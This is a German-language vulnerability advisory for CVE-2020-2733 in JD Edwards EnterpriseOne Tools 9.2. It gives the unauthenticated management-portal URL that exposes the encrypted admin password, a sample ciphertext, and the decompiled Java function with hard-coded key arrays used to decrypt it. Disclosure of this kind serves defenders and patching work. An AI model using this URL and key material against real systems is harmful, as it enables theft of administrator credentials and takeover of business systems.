
Exploit für CVE-2020-2733: entschlüsselt das Admin-Passwort von JD Edwards EnterpriseOne Tools über unauthentifizierten URL-Zugriff, was eine vollständige Systemkompromittierung ermöglicht.
Bild 1: Entschlüsseln der Zeichenfolge
Bild 2: Entschlüsseln durch Angabe der URL
Anwendung: JD Edwards EnterpriseOne Tools
Betroffene Versionen: JD Edwards EnterpriseOne Tools 9.2
Hersteller-URL: https://oracle.com/
Fehler: Offenlegung von Informationen
Gemeldet: 18. September 2019
Datum der öffentlichen Bekanntgabe: 23. August 2022
Referenz: [https://www.oracle.com/security-alerts/cpuapr2020.html, https://redrays.io/cve-2020-2733-jd-edwards/]
Nuclei-Vorlage zur Erkennung: https://github.com/projectdiscovery/nuclei-templates/blob/68f0ad5fa2f54a08959e2d68633174750fcb4952/http/cves/2020/CVE-2020-2733.yaml#L2
SICHERHEITSHINWEISE
Titel: [CVE-2020-2733] Das Admin-Passwort von JD Edwards EnterpriseOne Tools ist nicht ausreichend geschützt
Risiko: Kritisch
Advisory-URL: https://redrays.io/cve-2020-6369-patch-bypass/
Veröffentlichungsdatum: 23.08.2022
Aus der Ferne ausnutzbar: Ja
Lokal ausnutzbar: Nein
CVSS-Informationen: CVSS v3.1 Basis-Score: 9.8 / 10 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
JD Edwards EnterpriseOne Tools 9.2 oder niedrigere Versionen ermöglichen es nicht authentifizierten Angreifern, die Authentifizierung zu umgehen und Administratorrechte auf dem System zu erlangen.
Die Schwachstelle wurde im Oracle JD Edwards Management-Portal entdeckt. Um die Schwachstelle zu reproduzieren, müssen Sie (ohne Authentifizierung) die folgende URL öffnen:
http://JDEdwards:8999/manage/fileDownloader?sec=1
Wenn Sie die URL öffnen, sehen Sie pseudo-zufälligen Text auf der Seite.

ACHCJKGJHCJKBLLALOLOJFCABEFHOALDDAOFNGGANPDB
Nach der Analyse der JD Edwards-JAR-Dateien haben wir festgestellt, dass diese pseudo-zufälligen Daten – DAS VERSCHLÜSSELTE ADMIN-PASSWORT – sind.
Die Verschlüsselungsschlüssel befinden sich in der folgenden Funktion:
private static void genKeys(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte paramByte)
{
int i = 0;
byte[] arrayOfByte1 = { 65, 4, 95, 12, 88, 41, 6, 114, 119, 93, 37, 68, 75, 19, 49, 46 };
byte[] arrayOfByte2 = { 107, 34, 26, 94, 68, 41, 119, 48, 3, 88, 28, 97, 5, Byte.MAX_VALUE, 77, 54 };
byte[] arrayOfByte3 = { 36, 89, 113, 109, 38, 15, 7, 66, 76, 115, 16, 53, 106, 94, 27, 56 };
int j = paramByte >> 4;
int k = paramByte & 0xF;
int m = arrayOfByte3[j];
for (i = 0; i < 16; i++) {
paramArrayOfByte1[i] = ((byte)(arrayOfByte1[i] ^ m));
}
m = arrayOfByte3[k];
for (i = 0; i < 16; i++) {
paramArrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ m));
}
}
Als Ergebnis erhalten Sie ein Admin-Passwort und können jede Anwendung im JD Edwards-Portal bereitstellen.

Referenz/Quelle: https://redrays.io/blog/cve-2020-2733-jd-edwards/